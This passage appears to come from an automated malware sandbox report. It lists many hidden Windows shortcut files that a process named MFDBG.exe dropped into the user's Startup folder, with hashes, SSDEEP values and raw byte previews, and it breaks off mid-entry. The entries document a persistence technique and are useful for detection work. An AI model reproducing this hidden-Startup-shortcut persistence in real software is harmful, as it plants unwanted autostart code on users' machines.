File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:45 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.916287231963016
Encrypted:	false
SSDEEP:	24:8FBfMYH8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8HUJEvZ0yRO7DLO2zdxdRd1kyg
MD5:	80878C8EC1E3D254FD106D4D1A1B0BC7
SHA1:	B8CDD2971E906AB6A59909055809AA97ECB1759B
SHA-256:	4D4C59F0CCCA9B31B5461C1C4A9420330D6901C4BE577732A05656FCA81855BD
SHA-512:	3131077893CB1779B04EAADB7A219E07DBA9AFDC4F6F4D37EC183FE00F06E6F5549FDA6A832694C507B149D9358D8F7ADEE07DB4B7ECD3CD92EE31F8E12E37C1
Malicious:	false
Preview:	L..................F....".......d......\d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......\d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_924ff549fd444705b16594fd9c2fd671.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:16 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.925071374991711
Encrypted:	false
SSDEEP:	24:8o2Bfm8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8o8zEvZ0yRO7DLO2zdxdRd1kyg
MD5:	EEBA167F5EB48C74EDA17D50E8AA64C8
SHA1:	3E2C8E6A5159D7A7860BB2F935091354A31EB026
SHA-256:	298B9FE076ADE06C90251B2DD6E4A96DD1C3E12873086AC8065F8D3E8AFC394A
SHA-512:	0486B73BCA9C60EFA1C9827509980338EA40EAD5466B2FFE6FE37F1FDBBB14E4B0839D9B864EC375C73E5EB0A73BAD05312365A1BBFDD4281D6035D1CBC2AFA5
Malicious:	false
Preview:	L..................F....".......d...s..'d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......'d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_92d833c601104240a53ae7eeafa9c2c3.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:48 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.915715562779696
Encrypted:	false
SSDEEP:	24:84BfY8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:82FEvZ0yRO7DLO2zdxdRd1kyg
MD5:	FD3159BF76A525CDD1B23E184A40AC32
SHA1:	B894E57B29B8D207A234D66F540C9A4BDB79DCBD
SHA-256:	37CC9CA249AA12E217FF84FFBE3CD3121FDDD4A0E1A3410F6920AC2EDE6A4BDD
SHA-512:	8942B3EE76FD6255460607869FDBDB63B6DAAA24E15B1512A53A8C80DC255A5C3C832C2D7A5F34BF2C6A32C84AE770B75CEBD15B9E4E7AD1409FFA4F9CF399BA
Malicious:	false
Preview:	L..................F....".......d.....a:d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....a:d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_92df9103c8114040941a49fbe28a743d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:17 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.916669959526259
Encrypted:	false
SSDEEP:	24:8OBfy8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8k3EvZ0yRO7DLO2zdxdRd1kyg
MD5:	F6ABC16CA985EC656154101488F68B5C
SHA1:	A678BA57C30CABFA041AEA3CFE4835B670EAAAAF
SHA-256:	0B502925295DE23FB5523DC5A607D89B21269AFC164AFE5488CE7D59E1333858
SHA-512:	8D9B4B18DE13BB667D05DEDD5946C937FD9E7733A6DD86CFD0A9EBA0147990933D8FB2B9E9965A4227B32C52D4642BB721931EEB850D5DC9F3C747353F1B9597
Malicious:	false
Preview:	L..................F....".......d...F..'d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...F..'d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_92e9a304dade4d8db130090b4a58c65e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:41 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.922408130721776
Encrypted:	false
SSDEEP:	24:89BfD8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8v4EvZ0yRO7DLO2zdxdRd1kyg
MD5:	3F4539AF46B15C3EBD818A1D40615AE6
SHA1:	042AE259695A37CAF93E9D007DB7900763F5897D
SHA-256:	565840B2B6499B6C201A482F62A7BF11191D958634FA2EE49654DC944AA80AD0
SHA-512:	9A5AADF311AE269800FB6BF313AFB286D5E55AF6D6E404977F7353C2A26E48BF61E3E478B9A7B7E71BD929E6002DAEB1D32620EBA4AEB75D9FF7A3182169822A
Malicious:	false
Preview:	L..................F....".......d.....\}d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....U}d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_92f819e0e41645fa827f71e4fc087fd2.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:39 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.927643784276771
Encrypted:	false
SSDEEP:	24:83uBfJ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:80GEvZ0yRO7DLO2zdxdRd1kyg
MD5:	5A2094FFF4695F7036E38F996384AA7A
SHA1:	F2867723AD186B246664D35DEA83FF131008F3E7
SHA-256:	78CC526D43503F1D73D41E77FF2EE8D473FBC3B3B29139B3001DD92A6BE86507
SHA-512:	4BEA54A489AC5897C21CE1EEB49DEBB950F0650A5A50364CA8A49481DB59A2323FA13F92EE530D125BD34DF2256A159B34C602BD55E52DD8455059F64CECCCDA
Malicious:	false
Preview:	L..................F....".......d....(.\|d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....X\|d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_936153583a574e12ae5ce301d546ecb7.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:11 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.922973837117899
Encrypted:	false
SSDEEP:	24:8wiTBfR8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8we+EvZ0yRO7DLO2zdxdRd1kyg
MD5:	02399463F0A054C2E6DE4DF209596DC0
SHA1:	EC7655A2000DB04024D93D464A9F4F78EAAC49E5
SHA-256:	93314035103A488D223A10C09A3A650E0BCC712BE7CA2FC076E26EB9B10F6074
SHA-512:	68B460C13608FD2694D4AAEC060F2549D860429829AEDFA7EEB77CF1526206F98DAA9D27E8DF186525602744443E414F8BF6E345B3EF0F043CD3C0515ACD31B2
Malicious:	false
Preview:	L..................F....".......d......$d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...b..#d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9378c94c8c8d442c912fced6d334da34.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:03 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.923542443279369
Encrypted:	false
SSDEEP:	24:8zQBfk8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8KJEvZ0yRO7DLO2zdxdRd1kyg
MD5:	F76E8B16B89683B872D58114A96F99FE
SHA1:	5F3A8A4654218861622610F38A0385980559BCD1
SHA-256:	3D5C0EF1652568691355D084474A783C2C442D78586D557FE92D01943C4DB13D
SHA-512:	5939AA94F7FA6956BB09397A91744B178666F0AE514AEE3FF83EA087CFD7A7F57B7378496C563545F98E9E2B0FC8FDD5A343D8E9DC670168FC35D2E7E9A6BD3D
Malicious:	false
Preview:	L..................F....".......d......d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9386b2ef7ae34f59b330be2dfe6320c2.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:45 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.914427276693088
Encrypted:	false
SSDEEP:	24:8nBfMYH8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8BUJEvZ0yRO7DLO2zdxdRd1kyg
MD5:	A3E5BE0B5547A0D25DD73E11E2D67D76
SHA1:	38C9185BDEDE77347F4354F029A32F0F82CD006A
SHA-256:	B7A8C9468F254A84F986FDBBD1BA9907998E3EBB2109980FB82A504204CD8E05
SHA-512:	1B72AA0834265A7A4F56D7119742B5DF1BFC83929CB61E3B2E34FD74E97D518C4C910D20ECD8BA86DF7FCC236B4748C90BE6C81D2B8AED8C78DAE42705A05EEE
Malicious:	false
Preview:	L..................F....".......d.....2\d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......\d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_93a234a50f2b4992afefdc51f1dafe2b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:38 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9268679388836105
Encrypted:	false
SSDEEP:	24:8bBfs8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8NREvZ0yRO7DLO2zdxdRd1kyg
MD5:	C21DA132C4BD4FF15CEC9A71500E470B
SHA1:	1E8CE9CB63087D4F3B97E3E993087C2C9835DD34
SHA-256:	3FF4F37A16E94BDC2C44CEF0E0FD6A9EA77BC5CECFFDB54048A6AC580D5919DD
SHA-512:	96CD097177118E6043971CE339262C976CED251C5624B6BF9FC0E7B06E27877E975B1536E7961D03C590F51E449DA45FEE981A313EBA135B0242E8EEFE1ADAD1
Malicious:	false
Preview:	L..................F....".......d......{d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......{d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_93b8fd431a5d4e859912e7c63137d9ce.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:44 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.921027242422741
Encrypted:	false
SSDEEP:	24:8kBfff8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8KXEEvZ0yRO7DLO2zdxdRd1kyg
MD5:	C8EBA1543E67324937D028491CEE478B
SHA1:	EE03D521C29F4530C758CB9BB17B75E7F3FF714E
SHA-256:	B0E40BBD2C2AD0D64D5090749F279DC07C6E728D0F54AFBB16122E510358FBC2
SHA-512:	E9108C6205AB5DBCCC1D85C906B1A4BC219B8AB75F2D2E3E4C5D4640762B48284FAE1990C1B274C14ED0EE34E566A7195B077F8B4C042CB6218810C5D8164D1F
Malicious:	false
Preview:	L..................F....".......d.......d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....{..d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_93dd48f987304aed829ed7824b3b9c92.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:56 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.932930127889106
Encrypted:	false
SSDEEP:	24:8jBfh48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8l59EvZ0yRO7DLO2zdxdRd1kyg
MD5:	2DC2FB9209AFE1B989615E3AB543C0AD
SHA1:	BF7BF05CCBB3F77FA52B197F3B95A93A07F3809F
SHA-256:	E2D6E31B713455855EFC5200A4568888390954DCAB30DF3832A1581764CC63CA
SHA-512:	0E7012835B27348F6DFA6274CF7A5CECFB345597EA142718850AA9C217DD9E2FD7004315D0238E3D50BC3B16A8E0E8E05C103B3783DDEC3BDDEBCD5FA952DD48
Malicious:	false
Preview:	L..................F....".......d......>d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....+.>d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_94df0ea4feca4c7e81f1cfb00c0b5c40.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:45 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.905993574263351
Encrypted:	false
SSDEEP:	24:8NBf38EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8/EEvZ0yRO7DLO2zdxdRd1kyg
MD5:	F457C201CAA2BF16DEBD4AB2AE4ADF99
SHA1:	BF0D4BCC2B83F1528AFAD749688D2FC76D5E89E1
SHA-256:	6A8C2842791ECE8DE59EABB103FA06A0BDD952A5324BF2C495F094C826CAD2EE
SHA-512:	F9A6754D5E2B46D17777073222369FD3EA42D7A9775E09ACB6BFE393DB374DBC6E6925500C7D15086F9D663F25C106999B6D532A0F67113DE71B5B5F979E2FB8
Malicious:	false
Preview:	L..................F....".......d...7.H\d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....9\d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9513faac7fa0427080ffacbde853dc94.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
